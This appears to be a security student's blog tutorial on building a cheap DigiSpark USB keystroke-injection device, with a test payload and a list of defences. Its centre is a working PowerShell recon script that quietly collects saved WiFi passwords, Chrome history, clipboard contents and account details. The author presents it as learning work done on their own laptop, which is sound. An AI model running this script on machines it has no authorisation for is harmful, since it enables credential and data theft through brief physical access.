If you've ever watched a hacker movie and seen someone plug in a USB and own a machine in seconds — that's not Hollywood magic. That's a Rubber Ducky. And I built one for under ₹150.
Here's exactly how I did it, what it taught me, and why every security student should build one.
What Even Is a Rubber Ducky?
A Rubber Ducky is a USB device that pretends to be a keyboard. The moment you plug it in, the operating system trusts it completely — because keyboards don't need driver approvals or admin permissions.
Once trusted, it starts "typing" pre-programmed commands at superhuman speed. We're talking 1000 keystrokes per second. By the time you blink, it's already opened PowerShell, run a script, and closed the window.
The original Hak5 Rubber Ducky costs around $80. I built mine for ₹150.
What I Used
DigiSpark ATtiny85 — ₹120–150 on Amazon India
Arduino IDE — free
A Windows test machine (my own laptop)
15 minutes
That's it. No soldering. No special skills. Just a tiny microcontroller the size of a thumb.
Setting It Up
Step 1 — Install Arduino IDE
Download from arduino.cc and install normally.
Step 2 — Add DigiSpark Board Support
Go to File → Preferences and paste this into Additional Board Manager URLs:
http://digistump.com/package_digistump_index.json
Then go to Tools → Board → Board Manager, search Digistump and install.
Step 3 — Install Drivers
DigiSpark needs Micronucleus drivers on Windows. Download from the official Digistump GitHub and run the installer.
Step 4 — Write Your First Payload
This opens Notepad and types a message — my first ever "attack":
cpp#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win+R
DigiKeyboard.delay(500);
DigiKeyboard.print("notepad");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("Hello. Your keyboard is now mine.");
}
void loop() {}
Upload it, plug in the DigiSpark, and watch it type on its own. That moment hits different when you see it for the first time.
Building the Recon Payload
After the basics, I built a full recon payload for my own machine. The goal — simulate what an attacker could collect from a single physical access moment.
Here's what it collects in under 10 seconds:
WhatCommand UsedSystem info, OS, patchessysteminfoCurrent user + privilegeswhoami /allNetwork config + open portsipconfig, netstatSaved WiFi passwordsnetsh wlanRunning processesGet-ProcessInstalled softwareRegistry queryLocal users and adminsGet-LocalUserRecent files (Desktop, Docs, Downloads)Get-ChildItemChrome historyDirect file copyClipboard contentsGet-Clipboard
The full PowerShell payload looks like this:
powershell$out = "$env:TEMP\recon"
New-Item -ItemType Directory -Force -Path $out | Out-Null
System info
systeminfo > "$out\sysinfo.txt"
whoami /all >> "$out\sysinfo.txt"
Network
ipconfig /all > "$out\network.txt"
netstat -ano >> "$out\network.txt"
arp -a >> "$out\network.txt"
WiFi passwords
(netsh wlan show profiles) | Select-String "All User Profile" | ForEach-Object {
$n = ($_ -split ":")[1].Trim()
$p = netsh wlan show profile name=$n key=clear
"$n : $(($p | Select-String 'Key Content').ToString().Split(':')[1].Trim())"
} > "$out\wifi.txt"
Processes & software
Get-Process | Select Name,Id,CPU | Export-Csv "$out\processes.csv" -NoTypeInformation
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall* |
Select DisplayName,DisplayVersion | Export-Csv "$out\software.csv" -NoTypeInformation
Users
Get-LocalUser > "$out\users.txt"
Get-LocalGroupMember Administrators >> "$out\users.txt"
Recent files
Get-ChildItem "$env:USERPROFILE\Documents","$env:USERPROFILE\Desktop","$env:USERPROFILE\Downloads" `
-Recurse -ErrorAction SilentlyContinue |
Select FullName,LastWriteTime | Export-Csv "$out\recentfiles.csv" -NoTypeInformation
Chrome history
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\History" "$out\chrome_history" -ErrorAction SilentlyContinue
Clipboard
Get-Clipboard > "$out\clipboard.txt"
Everything dumps into %TEMP%\recon. The PowerShell window runs completely hidden. No popups. No UAC prompt.
The Scary Part
This is what shook me most — it bypassed everything.
✅ Windows Defender? Didn't flag it. It's just keyboard input.
✅ Antivirus? Same. No file was "executed" in the traditional sense.
✅ Firewall? Irrelevant for local collection.
This is why physical security is not optional. Locking your screen when you step away is literally your last line of defence against this class of attack.
What I Learned
- Trust is the vulnerability The OS trusts HID devices unconditionally. That trust is the attack surface. No patch will fix this — it's by design.
- Speed matters A payload that takes 30 seconds is risky. One that finishes in 8 seconds is devastating. Optimising payloads taught me a lot about how Windows executes commands.
- Physical access = game over Every pentesting certification says this. Building this tool made me feel it. If someone gets 10 seconds with your unlocked machine, they own it.
- DuckyScript is a proper language Writing payloads made me think like an attacker — delays, error handling, silent execution, exfiltration. It's low-level but it sharpens your mindset fast.
How to Defend Against This
Since I broke it, here's how to fix it:
🔒 Lock your screen every time you step away — Win + L
🚫 Disable USB ports via Group Policy on corporate machines
🛡️ USBGuard on Linux — whitelists known devices only
📡 EDR tools that monitor new HID device registration events
🔌 Physical USB port blockers for high-security environments
What's Next
I'm upgrading to a Raspberry Pi Pico running Pico-Ducky firmware — supports full DuckyScript 3.0, faster execution, and can switch between attack and storage mode with a jumper wire.
I'll also be writing a follow-up on building a defensive monitoring script that detects new HID devices registering and alerts you in real time.
Final Thoughts
Building this tool cost me ₹150 and 15 minutes. The knowledge it gave me is worth more than any textbook chapter on physical security.
If you're learning cybersecurity — build things. Don't just read about attacks. Simulate them on your own hardware, understand why they work, then figure out how to stop them.
That's the hacker mindset.